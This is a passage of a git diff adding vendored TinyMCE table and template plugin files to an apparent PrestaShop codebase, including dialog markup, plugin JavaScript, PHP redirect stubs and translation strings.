{#table_dlg.merge_cells_title} + + + + + + +
    +
    + {#table_dlg.merge_cells_title} + + + + + + + + + +
    :
    :
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/table/row.htm b/js/tiny_mce2/plugins/table/row.htm new file mode 100755 index 0000000..e0b182b --- /dev/null +++ b/js/tiny_mce2/plugins/table/row.htm @@ -0,0 +1,158 @@ + + + + {#table_dlg.row_title} + + + + + + + + + +
    + + +
    +
    +
    + {#table_dlg.general_props} + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + +
    + +
    +
    +
    + +
    +
    + {#table_dlg.advanced_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + + + + + +
     
    +
    + + + + + + +
     
    +
    +
    +
    +
    +
    + +
    +
    + +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/table/table.htm b/js/tiny_mce2/plugins/table/table.htm new file mode 100755 index 0000000..52e6bf2 --- /dev/null +++ b/js/tiny_mce2/plugins/table/table.htm @@ -0,0 +1,188 @@ + + + + {#table_dlg.title} + + + + + + + + + + +
    + + +
    +
    +
    + {#table_dlg.general_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + +
    +
    + {#table_dlg.advanced_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
     
    +
    + +
    + +
    + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/template/blank.htm b/js/tiny_mce2/plugins/template/blank.htm new file mode 100755 index 0000000..538a3b1 --- /dev/null +++ b/js/tiny_mce2/plugins/template/blank.htm @@ -0,0 +1,12 @@ + + + blank_page + + + + + + + diff --git a/js/tiny_mce2/plugins/template/css/index.php b/js/tiny_mce2/plugins/template/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/template/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/template/css/template.css b/js/tiny_mce2/plugins/template/css/template.css new file mode 100755 index 0000000..0a03f2e --- /dev/null +++ b/js/tiny_mce2/plugins/template/css/template.css @@ -0,0 +1,23 @@ +#frmbody { + padding: 10px; + background-color: #FFF; + border: 1px solid #CCC; +} + +.frmRow { + margin-bottom: 10px; +} + +#templatesrc { + border: none; + width: 320px; + height: 240px; +} + +.title { + padding-bottom: 5px; +} + +.mceActionPanel { + padding-top: 5px; +} diff --git a/js/tiny_mce2/plugins/template/editor_plugin.js b/js/tiny_mce2/plugins/template/editor_plugin.js new file mode 100755 index 0000000..ebe3c27 --- /dev/null +++ b/js/tiny_mce2/plugins/template/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.TemplatePlugin",{init:function(b,c){var d=this;d.editor=b;b.addCommand("mceTemplate",function(e){b.windowManager.open({file:c+"/template.htm",width:b.getParam("template_popup_width",750),height:b.getParam("template_popup_height",600),inline:1},{plugin_url:c})});b.addCommand("mceInsertTemplate",d._insertTemplate,d);b.addButton("template",{title:"template.desc",cmd:"mceTemplate"});b.onPreProcess.add(function(e,g){var f=e.dom;a(f.select("div",g.node),function(h){if(f.hasClass(h,"mceTmpl")){a(f.select("*",h),function(i){if(f.hasClass(i,e.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))){i.innerHTML=d._getDateTime(new Date(),e.getParam("template_mdate_format",e.getLang("template.mdate_format")))}});d._replaceVals(h)}})})},getInfo:function(){return{longname:"Template plugin",author:"Moxiecode Systems AB",authorurl:"http://www.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/template",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_insertTemplate:function(i,j){var k=this,g=k.editor,f,c,d=g.dom,b=g.selection.getContent();f=j.content;a(k.editor.getParam("template_replace_values"),function(l,h){if(typeof(l)!="function"){f=f.replace(new RegExp("\\{\\$"+h+"\\}","g"),l)}});c=d.create("div",null,f);n=d.select(".mceTmpl",c);if(n&&n.length>0){c=d.create("div",null);c.appendChild(n[0].cloneNode(true))}function e(l,h){return new RegExp("\\b"+h+"\\b","g").test(l.className)}a(d.select("*",c),function(h){if(e(h,g.getParam("template_cdate_classes","cdate").replace(/\s+/g,"|"))){h.innerHTML=k._getDateTime(new Date(),g.getParam("template_cdate_format",g.getLang("template.cdate_format")))}if(e(h,g.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))){h.innerHTML=k._getDateTime(new Date(),g.getParam("template_mdate_format",g.getLang("template.mdate_format")))}if(e(h,g.getParam("template_selected_content_classes","selcontent").replace(/\s+/g,"|"))){h.innerHTML=b}});k._replaceVals(c);g.execCommand("mceInsertContent",false,c.innerHTML);g.addVisual()},_replaceVals:function(c){var d=this.editor.dom,b=this.editor.getParam("template_replace_values");a(d.select("*",c),function(f){a(b,function(g,e){if(d.hasClass(f,e)){if(typeof(b[e])=="function"){b[e](f)}}})})},_getDateTime:function(e,b){if(!b){return""}function c(g,d){var f;g=""+g;if(g.length 0) { + el = dom.create('div', null); + el.appendChild(n[0].cloneNode(true)); + } + + function hasClass(n, c) { + return new RegExp('\\b' + c + '\\b', 'g').test(n.className); + }; + + each(dom.select('*', el), function(n) { + // Replace cdate + if (hasClass(n, ed.getParam('template_cdate_classes', 'cdate').replace(/\s+/g, '|'))) + n.innerHTML = t._getDateTime(new Date(), ed.getParam("template_cdate_format", ed.getLang("template.cdate_format"))); + + // Replace mdate + if (hasClass(n, ed.getParam('template_mdate_classes', 'mdate').replace(/\s+/g, '|'))) + n.innerHTML = t._getDateTime(new Date(), ed.getParam("template_mdate_format", ed.getLang("template.mdate_format"))); + + // Replace selection + if (hasClass(n, ed.getParam('template_selected_content_classes', 'selcontent').replace(/\s+/g, '|'))) + n.innerHTML = sel; + }); + + t._replaceVals(el); + + ed.execCommand('mceInsertContent', false, el.innerHTML); + ed.addVisual(); + }, + + _replaceVals : function(e) { + var dom = this.editor.dom, vl = this.editor.getParam('template_replace_values'); + + each(dom.select('*', e), function(e) { + each(vl, function(v, k) { + if (dom.hasClass(e, k)) { + if (typeof(vl[k]) == 'function') + vl[k](e); + } + }); + }); + }, + + _getDateTime : function(d, fmt) { + if (!fmt) + return ""; + + function addZeros(value, len) { + var i; + + value = "" + value; + + if (value.length < len) { + for (i=0; i<(len-value.length); i++) + value = "0" + value; + } + + return value; + } + + fmt = fmt.replace("%D", "%m/%d/%y"); + fmt = fmt.replace("%r", "%I:%M:%S %p"); + fmt = fmt.replace("%Y", "" + d.getFullYear()); + fmt = fmt.replace("%y", "" + d.getYear()); + fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2)); + fmt = fmt.replace("%d", addZeros(d.getDate(), 2)); + fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2)); + fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2)); + fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2)); + fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1)); + fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM")); + fmt = fmt.replace("%B", "" + this.editor.getLang("template_months_long").split(',')[d.getMonth()]); + fmt = fmt.replace("%b", "" + this.editor.getLang("template_months_short").split(',')[d.getMonth()]); + fmt = fmt.replace("%A", "" + this.editor.getLang("template_day_long").split(',')[d.getDay()]); + fmt = fmt.replace("%a", "" + this.editor.getLang("template_day_short").split(',')[d.getDay()]); + fmt = fmt.replace("%%", "%"); + + return fmt; + } + }); + + // Register plugin + tinymce.PluginManager.add('template', tinymce.plugins.TemplatePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/index.php b/js/tiny_mce2/plugins/template/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/template/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/template/js/index.php b/js/tiny_mce2/plugins/template/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/template/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/template/js/template.js b/js/tiny_mce2/plugins/template/js/template.js new file mode 100755 index 0000000..673395a --- /dev/null +++ b/js/tiny_mce2/plugins/template/js/template.js @@ -0,0 +1,106 @@ +tinyMCEPopup.requireLangPack(); + +var TemplateDialog = { + preInit : function() { + var url = tinyMCEPopup.getParam("template_external_list_url"); + + if (url != null) + document.write(''); + }, + + init : function() { + var ed = tinyMCEPopup.editor, tsrc, sel, x, u; + + tsrc = ed.getParam("template_templates", false); + sel = document.getElementById('tpath'); + + // Setup external template list + if (!tsrc && typeof(tinyMCETemplateList) != 'undefined') { + for (x=0, tsrc = []; x'); + }); + }, + + selectTemplate : function(u, ti) { + var d = window.frames['templatesrc'].document, x, tsrc = this.tsrc; + + if (!u) + return; + + d.body.innerHTML = this.templateHTML = this.getFileContents(u); + + for (x=0; x +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/template/langs/it_dlg.js b/js/tiny_mce2/plugins/template/langs/it_dlg.js new file mode 100755 index 0000000..78abd1f --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.template_dlg',{title:"Modelli",label:"Modello","desc_label":"Descrizione",desc:"Inserisci contenuto da modello predefinito",select:"Seleziona un modello",preview:"Anteprima",warning:"Attenzione: Aggiornare un modello con un altro differente pu\u00f2 causare perdite di dati.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Gennaio,Febbraio,Marzo,Aprile,Maggio,Giugno,Luglio,Agosto,Settembre,Ottobre,Novembre,Dicembre","months_short":"Gen,Feb,Mar,Apr,Mag,Giu,Lug,Ago,Set,Ott,Nov,Dic","day_long":"Domenica,Luned\u00ec,Marted\u00ec,Mercoled\u00ec,Gioved\u00ec,Venerd\u00ec,Sabato,Domenica","day_short":"Dom,Lun,Mar,Mer,Gio,Ven,Sab,Dom"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/ja_dlg.js b/js/tiny_mce2/plugins/template/langs/ja_dlg.js new file mode 100755 index 0000000..4aae933 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.template_dlg',{title:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8",label:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8","desc_label":"\u8aac\u660e",desc:"\u5b9a\u7fa9\u6e08\u307f\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u633f\u5165",select:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u9078\u629e",preview:"\u30d7\u30ec\u30d3\u30e5\u30fc",warning:"\u8b66\u544a\uff1a\u7570\u306a\u308b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u66f4\u65b0\u3059\u308b\u3068\u30c7\u30fc\u30bf\u3092\u5931\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","months_short":"1,2,3,4,5,6,7,8,9,10,11,12","day_long":"\u65e5\u66dc\u65e5,\u6708\u66dc\u65e5,\u706b\u66dc\u65e5,\u6c34\u66dc\u65e5,\u6728\u66dc\u65e5,\u91d1\u66dc\u65e5,\u571f\u66dc\u65e5,\u65e5\u66dc\u65e5","day_short":"(\u65e5),(\u6708),(\u706b),(\u6c34),(\u6728),(\u91d1),(\u571f),(\u65e5)"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/ka_dlg.js b/js/tiny_mce2/plugins/template/langs/ka_dlg.js new file mode 100755 index 0000000..30605c2 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.template_dlg',{title:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d4\u10d1\u10d8",label:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8","desc_label":"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d0",desc:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",select:"\u10d0\u10d8\u10e0\u10e9\u10d8\u10d4\u10d7 \u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8",preview:"\u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10e0\u10d4\u10d1\u10d0",warning:"\u10e7\u10e3\u10e0\u10d0\u10d3\u10e6\u10d4\u10d1\u10d0: \u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1 \u10d0\u10e0\u10e9\u10d4\u10d5\u10d0\u10db \u10e8\u10d4\u10d8\u10eb\u10da\u10d4\u10d1\u10d0 \u10d2\u10d0\u10db\u10dd\u10d8\u10ec\u10d5\u10d8\u10dd\u10e1 \u10db\u10dd\u10dc\u10d0\u10ea\u10d4\u10db\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10d9\u10d0\u10e0\u10d2\u10d5\u10d0/","mdate_format":"%Y.%m.%d %H:%M:%S","cdate_format":"%Y.%m.%d %H:%M:%S","months_long":"\u10d8\u10d0\u10dc\u10d5\u10d0\u10e0\u10d8,\u10d7\u10d4\u10d1\u10d4\u10e0\u10d5\u10d0\u10da\u10d8,\u10db\u10d0\u10e0\u10e2\u10d8,\u10d0\u10de\u10e0\u10d8\u10da\u10d8,\u10db\u10d0\u10d8\u10e1\u10d8,\u10d8\u10d5\u10dc\u10d8\u10e1\u10d8,\u10d8\u10d5\u10da\u10d8\u10e1\u10d8,\u10d0\u10d2\u10d5\u10d8\u10e1\u10e2\u10dd,\u10e1\u10d4\u10e5\u10e2\u10d4\u10db\u10d1\u10d4\u10e0\u10d8,\u10dd\u10e5\u10e2\u10dd\u10db\u10d1\u10d4\u10e0\u10d8,\u10dc\u10dd\u10d4\u10db\u10d1\u10d4\u10e0\u10d8,\u10d3\u10d4\u10d9\u10d4\u10db\u10d1\u10d4\u10e0\u10d8","months_short":"\u10d8\u10d0\u10dc,\u10d7\u10d4\u10d1,\u10db\u10d0\u10e0\u10e2,\u10d0\u10de\u10e0,\u10db\u10d0\u10d8\u10e1\u10d8,\u10d8\u10d5\u10dc,\u10d8\u10d5\u10da,\u10d0\u10d2\u10d5,\u10e1\u10d4\u10e5,\u10dd\u10e5\u10e2,\u10dc\u10dd\u10d4\u10db,\u10d3\u10d4\u10d9","day_long":"\u10d9\u10d5\u10d8\u10e0\u10d0,\u10dd\u10e0\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10e1\u10d0\u10db\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10dd\u10d7\u10ee\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10ee\u10e3\u10d7\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10de\u10d0\u10e0\u10d0\u10e1\u10d9\u10d4\u10d5\u10d8,\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10d9\u10d5\u10d8\u10e0\u10d0","day_short":"\u10d9\u10d5,\u10dd\u10e0\u10e8,\u10e1\u10d0\u10db\u10e8,\u10dd\u10d7\u10ee\u10e8,\u10ee\u10e3\u10d7,\u10de\u10d0\u10e0,\u10e8\u10d0\u10d1,\u10d9\u10d5"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/ko_dlg.js b/js/tiny_mce2/plugins/template/langs/ko_dlg.js new file mode 100755 index 0000000..1dcb3be --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.template_dlg',{title:"\ud15c\ud50c\ub9bf",label:"\ud15c\ud50c\ub9bf","desc_label":"\uc124\uba85",desc:"\ud15c\ud50c\ub9bf\uc758 \uc0bd\uc785",select:"\ud15c\ud50c\ub9bf \uc120\ud0dd",preview:"\ubbf8\ub9ac\ubcf4\uae30",warning:"\uacbd\uace0: \ud15c\ud50c\ub9bf\uc744 \uac31\uc2e0\ud558\uba74 \uc774\uc804\uc758 \ub370\uc774\ud130\ub294 \uc5c6\uc5b4\uc9d1\ub2c8\ub2e4.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"1\uc6d4,2\uc6d4,3\uc6d4,4\uc6d4,5\uc6d4,6\uc6d4,7\uc6d4,8\uc6d4,9\uc6d4,10\uc6d4,11\uc6d4,12\uc6d4","months_short":"1,2,3,4,5,6,7,8,9,10,11,12","day_long":"\uc77c\uc694\uc77c,\uc6d4\uc694\uc77c,\ud654\uc694\uc77c,\uc218\uc694\uc77c,\ubaa9\uc694\uc77c,\uae08\uc694\uc77c,\ud1a0\uc694\uc77c,\uc77c\uc694\uc77c","day_short":"\uc77c,\uc6d4,\ud654,\uc218,\ubaa9,\uae08,\ud1a0,\uc77c"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/lt_dlg.js b/js/tiny_mce2/plugins/template/langs/lt_dlg.js new file mode 100755 index 0000000..2a28ead --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.template_dlg',{title:"\u0160ablonai",label:"\u0160ablonas","desc_label":"Apra\u0161as",desc:"\u012eterpti numatyt\u0105 \u0161ablono turin\u012f",select:"Pasirinkti \u0161ablon\u0105",preview:"Per\u017ei\u016bra",warning:"Persp\u0117jimas: \u0160ablono pakeitimas kitu gali sukelti duomen\u0173 praradim\u0105.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Sausis,Vasaris,Kovas,Balandis,Gegu\u017e\u0117,Bir\u017eelis,Liepa,Rugpj\u016btis,Rugs\u0117jis,Spalis,Lapkritis,Gruodis","months_short":"Sau,Vas,Kov,Bal,Geg,Bir,Lie,Rugpj,Rugs,Spa,Lapkr,Gruo","day_long":"Sekmadienis,Pirmadienis,Antradienis,Tre\u010diadienis,Ketvirtadienis,Penktadienis,\u0160e\u0161tadienis,Sekmadienis","day_short":"Sekm,Pirm,Antr,Tre\u010d,Ketv,Penk,\u0160e\u0161t,Sekm"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/nl_dlg.js b/js/tiny_mce2/plugins/template/langs/nl_dlg.js new file mode 100755 index 0000000..acd3304 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.template_dlg',{title:"Sjablonen",label:"Sjabloon","desc_label":"Beschrijving",desc:"Voorgedefinieerd sjabloon invoegen",select:"Selecteer een sjabloon",preview:"Voorbeeld",warning:"Waarschuwing: het bijwerken van een sjabloon met een andere kan het verlies van informatie tot gevolg hebben.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"Januari,Februari,Maart,April,Mei,Juni,Juli,Augustus,September,Oktober,November,December","months_short":"Jan,Feb,Mar,Apr,Mei,Jun,Jul,Aug,Sep,Okt,Nov,Dec","day_long":"Zondag,Maandag,Dinsdag,Woensdag,Donderdag,Vrijdag,Zaterdag,Zondag","day_short":"zo,ma,di,wo,do,vr,za,zo"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/no_dlg.js b/js/tiny_mce2/plugins/template/langs/no_dlg.js new file mode 100755 index 0000000..f735b66 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.template_dlg',{title:"Maler",label:"Mal","desc_label":"Beskrivelse",desc:"Sett inn forh\u00e5ndsdefinert malinnhold",select:"Velg en mal",preview:"Forh\u00e5ndsvis",warning:"Advarsel: Oppdatering av mal med en annen kan f\u00f8re til tap av data.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"januar,februar,mars,april,mai,juni,juli,august,september,oktober,november,desember","months_short":"jan,feb,mar,apr,mai,jun,jul,aug,sep,okt,nov,des","day_long":"s\u00f8ndag,mandag,tirsdag,onsdag,torsdag,fredag,l\u00f8rdag,s\u00f8ndag","day_short":"S\u00f8n,Man,Tir,Ons,Tor,Fre,L\u00f8r,S\u00f8n"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/pl_dlg.js b/js/tiny_mce2/plugins/template/langs/pl_dlg.js new file mode 100755 index 0000000..82fbb64 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.template_dlg',{title:"Szablony",label:"Szablon","desc_label":"Opis",desc:"Wstaw tre\u015b\u0107 szablonu",select:"Wybierz szablon",preview:"Podgl\u0105d",warning:"Uwaga: Aktualizacja szablon\u00f3w mo\u017ce spowodowa\u0107 utrat\u0119 danych.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Stycze\u0144,Luty,Marzec.Kwiecie\u0144,Maj,Czerwiec,Lipiec,Sierpie\u0144,Wrzesie\u0144,Pa\u017adziernik,Listopad,Grudzie\u0144","months_short":"Sty,Lut,Mar,Kwi,Maj,Cze,Lip,Sie,Wrz,Pa\u017a,Lis,Gru","day_long":"Niedziela,Poniedzia\u0142ek,Wtorek,\u015aroda,Czwartek,Pi\u0105tek,Sobota,Niedziela","day_short":"N,Pn,Wt,\u015ar,Cz,Pt,So,N"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/pt_dlg.js b/js/tiny_mce2/plugins/template/langs/pt_dlg.js new file mode 100755 index 0000000..bc41014 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.template_dlg',{title:"Templates",label:"Template","desc_label":"Descri\u00e7\u00e3o",desc:"Inserir template",select:"Selecionar template",preview:"Pr\u00e9-Visualiza\u00e7\u00e3o",warning:"Aten\u00e7\u00e3o: Atualizar um template com outro pode causar a perda de dados.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"Janeiro,Fevereiro,Mar\u00e7o,Abril,Maio,Junho,Julho,Agosto,Setembro,Outubro,Novembro,Dezembro","months_short":"Jan,Fev,Mar,Abr,Mai,Jun,Jul,Ago,Set,Out,Nov,Dez","day_long":"Domingo,Segunda-feira,Ter\u00e7a-feira,Quarta-feira,Quinta-feira,Sexta-feira,S\u00e1bado,Domingo","day_short":"Dom,Seg,Ter,Qua,Qui,Sex,Sab,Dom"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/ro_dlg.js b/js/tiny_mce2/plugins/template/langs/ro_dlg.js new file mode 100755 index 0000000..c326651 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.template_dlg',{title:"\u0218abloane",label:"\u0218ablon","desc_label":"Descriere",desc:"Insereaz\u0103 \u0219ablon",select:"Selecteaz\u0103 \u0219ablon",preview:"Previzualizare",warning:"Aten\u0163ie: Schimbarea \u0219ablonului poate provoca pierderi de date","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Ianuarie,Februarie,Martie,Aprilie,Mai,Iunie,Iulie,August,Septembrie,Octombrie,Noiembrie,Decembrie","months_short":"Ian,Feb,Mar,Apr,Mai,Iun,Iul,Aug,Sep,Oct,Noi,Dec","day_long":"Duminic\u0103,Luni,Mar\u021bi,Miercuri,Joi,Vineri,S\u00e2mb\u0103t\u0103,Duminic\u0103","day_short":"Dum,Lun,Mar,Mie,Joi,Vin,S\u00e2m,Dum"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/ru_dlg.js b/js/tiny_mce2/plugins/template/langs/ru_dlg.js new file mode 100755 index 0000000..86d2137 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.template_dlg',{title:"\u0428\u0430\u0431\u043b\u043e\u043d\u044b",label:"\u0428\u0430\u0431\u043b\u043e\u043d","desc_label":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d",select:"\u0412\u044b\u0431\u0435\u0440\u0438\u0442\u0435 \u0448\u0430\u0431\u043b\u043e\u043d",preview:"\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",warning:"\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0442\u0435\u0440\u044f\u043c \u0434\u0430\u043d\u043d\u044b\u0445/","mdate_format":"%Y.%m.%d %H:%M:%S","cdate_format":"%Y.%m.%d %H:%M:%S","months_long":"\u044f\u043d\u0432\u0430\u0440\u044c,\u0444\u0435\u0432\u0440\u0430\u043b\u044c,\u043c\u0430\u0440\u0442,\u0430\u043f\u0440\u0435\u043b\u044c,\u043c\u0430\u0439,\u0438\u044e\u043d\u044c,\u0438\u044e\u043b\u044c,\u0430\u0432\u0433\u0443\u0441\u0442,\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c,\u043e\u043a\u0442\u044f\u0431\u0440\u044c,\u043d\u043e\u044f\u0431\u0440\u044c,\u0434\u0435\u043a\u0430\u0431\u0440\u044c","months_short":"\u044f\u043d\u0432,\u0444\u0435\u0432,\u043c\u0430\u0440\u0442,\u0430\u043f\u0440,\u043c\u0430\u0439,\u0438\u044e\u043d\u044c,\u0438\u044e\u043b\u044c,\u0430\u0432\u0433,\u0441\u0435\u043d,\u043e\u043a\u0442,\u043d\u043e\u044f,\u0434\u0435\u043a","day_long":"\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435,\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a,\u0432\u0442\u043e\u0440\u043d\u0438\u043a,\u0441\u0440\u0435\u0434\u0430,\u0447\u0435\u0442\u0432\u0435\u0440\u0433,\u043f\u044f\u0442\u043d\u0438\u0446\u0443,\u0441\u0443\u0431\u0431\u043e\u0442\u0430,\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435","day_short":"\u0432\u0441,\u043f\u043d,\u0432\u0442,\u0441\u0440,\u0447\u0442,\u043f\u0442,\u0441\u0431,\u0432\u0441"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/sk_dlg.js b/js/tiny_mce2/plugins/template/langs/sk_dlg.js new file mode 100755 index 0000000..a6ce09c --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.template_dlg',{title:"\u0160abl\u00f3ny",label:"\u0160abl\u00f3na","desc_label":"Popis",desc:"Vlo\u017ei\u0165 preddefinovan\u00fd obsah zo \u0161abl\u00f3ny",select:"Vyber \u0161abl\u00f3nu",preview:"N\u00e1h\u013ead",warning:"Upozornenie: 